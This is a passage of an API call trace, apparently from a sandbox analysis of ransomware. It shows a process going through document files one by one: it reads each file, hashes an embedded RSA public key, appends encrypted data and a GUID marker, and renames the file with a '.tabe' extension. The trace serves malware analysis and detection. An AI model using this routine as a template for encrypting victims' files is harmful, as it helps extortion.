dwFlags=0x0) returned 1 [0126.246] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.246] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.246] GetLastError () returned 0x0 [0126.246] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.246] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.246] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.246] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.246] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.246] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.247] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.247] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.247] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.247] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.247] CloseHandle (hObject=0x618) returned 1 [0126.248] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aCSBQG.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acsbqg.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aCSBQG.docx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acsbqg.docx.tabe")) returned 1 [0126.249] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x651966b0, ftCreationTime.dwHighDateTime=0x1d5e0df, ftLastAccessTime.dwLowDateTime=0x8ba9adc0, ftLastAccessTime.dwHighDateTime=0x1d5624b, ftLastWriteTime.dwLowDateTime=0x8ba9adc0, ftLastWriteTime.dwHighDateTime=0x1d5624b, nFileSizeHigh=0x0, nFileSizeLow=0x5634, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BxIJBC9D2ddyA.xlsx", cAlternateFileName="BXIJBC~1.XLS")) returned 1 [0126.249] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BxIJBC9D2ddyA.xlsx") returned=".xlsx" [0126.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BxIJBC9D2ddyA.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxijbc9d2ddya.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.249] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=22068) returned 1 [0126.249] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.250] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x560e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.250] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.252] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x5634, lpOverlapped=0x0) returned 1 [0126.252] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.252] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.252] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.252] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.253] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.253] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.253] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.253] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.253] GetLastError () returned 0x0 [0126.253] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.253] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.253] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.253] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.253] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.254] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.254] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.254] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.254] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.254] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.254] CloseHandle (hObject=0x618) returned 1 [0126.255] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BxIJBC9D2ddyA.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxijbc9d2ddya.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BxIJBC9D2ddyA.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxijbc9d2ddya.xlsx.tabe")) returned 1 [0126.256] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c733050, ftCreationTime.dwHighDateTime=0x1d5e5dc, ftLastAccessTime.dwLowDateTime=0xf64cf9a0, ftLastAccessTime.dwHighDateTime=0x1d5e5ec, ftLastWriteTime.dwLowDateTime=0xf64cf9a0, ftLastWriteTime.dwHighDateTime=0x1d5e5ec, nFileSizeHigh=0x0, nFileSizeLow=0xb202, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="c8Hky4m8.ots", cAlternateFileName="")) returned 1 [0126.256] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c8Hky4m8.ots") returned=".ots" [0126.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c8Hky4m8.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c8hky4m8.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.256] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=45570) returned 1 [0126.256] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.257] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.257] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.259] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xb202, lpOverlapped=0x0) returned 1 [0126.259] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.260] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.260] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.260] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.260] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.260] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.260] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.260] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.260] GetLastError () returned 0x0 [0126.260] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.260] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.261] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.261] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.261] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.261] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.261] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb202, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.261] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.261] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.261] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.262] CloseHandle (hObject=0x618) returned 1 [0126.262] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c8Hky4m8.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c8hky4m8.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c8Hky4m8.ots.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c8hky4m8.ots.tabe")) returned 1 [0126.264] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.264] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0126.264] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0bcce0, ftCreationTime.dwHighDateTime=0x1d5e630, ftLastAccessTime.dwLowDateTime=0x54011850, ftLastAccessTime.dwHighDateTime=0x1d59e5e, ftLastWriteTime.dwLowDateTime=0x54011850, ftLastWriteTime.dwHighDateTime=0x1d59e5e, nFileSizeHigh=0x0, nFileSizeLow=0x123cb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FIxvzNotV8Z.pptx", cAlternateFileName="FIXVZN~1.PPT")) returned 1 [0126.264] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FIxvzNotV8Z.pptx") returned=".pptx" [0126.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FIxvzNotV8Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fixvznotv8z.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.265] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=74699) returned 1 [0126.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.266] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x123a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.266] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.267] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x123cb, lpOverlapped=0x0) returned 1 [0126.268] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.268] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.268] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.268] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.268] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.269] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.269] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.269] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.269] GetLastError () returned 0x0 [0126.269] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.269] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.269] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.269] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.269] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.269] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.270] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x123cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.270] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.270] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.270] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.270] CloseHandle (hObject=0x618) returned 1 [0126.271] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FIxvzNotV8Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fixvznotv8z.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FIxvzNotV8Z.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fixvznotv8z.pptx.tabe")) returned 1 [0126.272] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c05480, ftCreationTime.dwHighDateTime=0x1d585d2, ftLastAccessTime.dwLowDateTime=0xacbe0100, ftLastAccessTime.dwHighDateTime=0x1d5e0ea, ftLastWriteTime.dwLowDateTime=0xacbe0100, ftLastWriteTime.dwHighDateTime=0x1d5e0ea, nFileSizeHigh=0x0, nFileSizeLow=0x5175, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fzzO4F.xlsx", cAlternateFileName="FZZO4F~1.XLS")) returned 1 [0126.272] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fzzO4F.xlsx") returned=".xlsx" [0126.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fzzO4F.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fzzo4f.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.272] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=20853) returned 1 [0126.272] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.273] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x514f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.273] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.275] ReadFile (in: 